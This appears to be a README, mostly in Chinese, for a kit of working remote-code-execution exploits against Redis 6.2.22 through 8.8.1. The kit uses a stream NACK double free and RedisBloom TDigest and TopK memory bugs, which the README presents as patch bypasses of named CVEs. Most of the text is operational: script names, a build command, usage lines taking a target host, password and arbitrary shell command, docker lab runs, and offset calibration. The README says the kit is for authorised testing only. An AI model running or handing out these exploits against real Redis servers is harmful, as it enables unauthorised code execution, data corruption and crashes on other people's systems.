针对 Redis 6.2.22、7.4.9、8.6.4 的非破坏性 RCE 利用,通过 stream 消费者组共享 NACK 双重释放(CVE-2026-25243 的补丁绕过);针对 8.8.0 通过捆绑 RedisBloom 中的 TDigest 堆溢出;针对 8.8.1 通过 TopK 野指针 释放(CVE-2026-25589 的补丁绕过)。
A_exploit_stock.py — 针对 6.2.22 的利用(redis:6.2.22 镜像)P74_exploit.py(+ P74_g2.py)— 针对 7.4.9 的利用(redis:7.4)P86_exploit.py — 针对 8.6.4 的利用(redis:8.6)P88W_exploit.py(+ P88W_lib.py、P88W_corrupt.py)— 针对
8.8.0 的利用(redis:8.8.0,通过捆绑模块 TDigest 堆溢出)T88_exploit.py — 针对 8.8.0 和 8.8.1 的利用(通过捆绑模块
TopK 野指针释放;绕过不完整的 CVE-2026-25589 修复 — 适用于
RedisBloom v8.8.0 和 v8.8.2)A_lib.py、G2_arbread.py — 共享辅助库(必须与利用脚本放在同一目录)crc64.c/h、crcspeed.c/h — libcrc64.so 的源码(Redis CRC64,
用于构建有效的 RESTORE 载荷)calibrate.sh — 为非官方构建计算二进制偏移量P74_loop.sh、P86_run.sh — 启动重试包装脚本gcc -shared -fPIC -O2 -o libcrc64.so crc64.c crcspeed.c
依赖:Python 3.6+(无需 pip 包)、gcc。
# 6.2.22 (DEBUG enabled by default)
python3 A_exploit_stock.py <host> <port> [password] [trigger]
# 7.4.9 / 8.6.4 — stock target, NO debug flag needed
python3 P74_exploit.py <host> <port> [password] [trigger]
python3 P86_exploit.py <host> <port> [password] [trigger]
# 8.8.0 — stock target, FRESH container/instance strongly recommended
python3 P88W_exploit.py <host> <port> [password] [trigger]
# 8.8.0 / 8.8.1 — TopK wild free, stock target, fresh instance recommended
python3 T88_exploit.py <host> <port> [password] [trigger]
password — 无认证目标可省略(或传入 "")trigger — shell 命令,默认在 /data/pwned* 下写入证明示例:
# local lab, 6.2.22
docker run -d -p 6379:6379 redis:6.2.22 redis-server --requirepass exploitme
python3 A_exploit_stock.py 127.0.0.1 6379 exploitme "id > /data/pwned_stock"
# local lab, 7.4.9
docker run -d -p 6379:6379 redis:7.4 redis-server --requirepass exploitme
python3 P74_exploit.py 127.0.0.1 6379 exploitme "id > /data/pwned74"
# local lab, 8.6.4
docker run -d -p 6379:6379 redis:8.6 redis-server --requirepass exploitme
python3 P86_exploit.py 127.0.0.1 6379 exploitme "id > /data/pwned86"
# local lab, 8.8.0
docker run -d -p 6379:6379 redis:8.8.0 redis-server --requirepass exploitme
python3 P88W_exploit.py 127.0.0.1 6379 exploitme "id > /data/pwned88"
python3 T88_exploit.py 127.0.0.1 6379 exploitme "id > /data/pwned_t88"
--str-format-off 等;参见 --help),或运行
./calibrate.sh /path/to/redis-server [/path/to/libc.so.6] 生成。
错误的偏移量会导致目标服务器崩溃(越界读取)。EVAL、RESTORE、XGROUP
(8.8.0/8.8.1 还需要捆绑的 RedisBloom 模块,默认自带)。HARDENING.md。
8.8.0 利用会留下约 2000 个归零的 tdigest 结构体 + 一个损坏的
oracle 键 — 之后不要对目标执行 FLUSHALL/SAVE。TopK_Destroy 在 RedisBloom v8.8.0 和
v8.8.2 中仍会读取超出过小堆的所有 k 个指针)。仅限授权测试使用。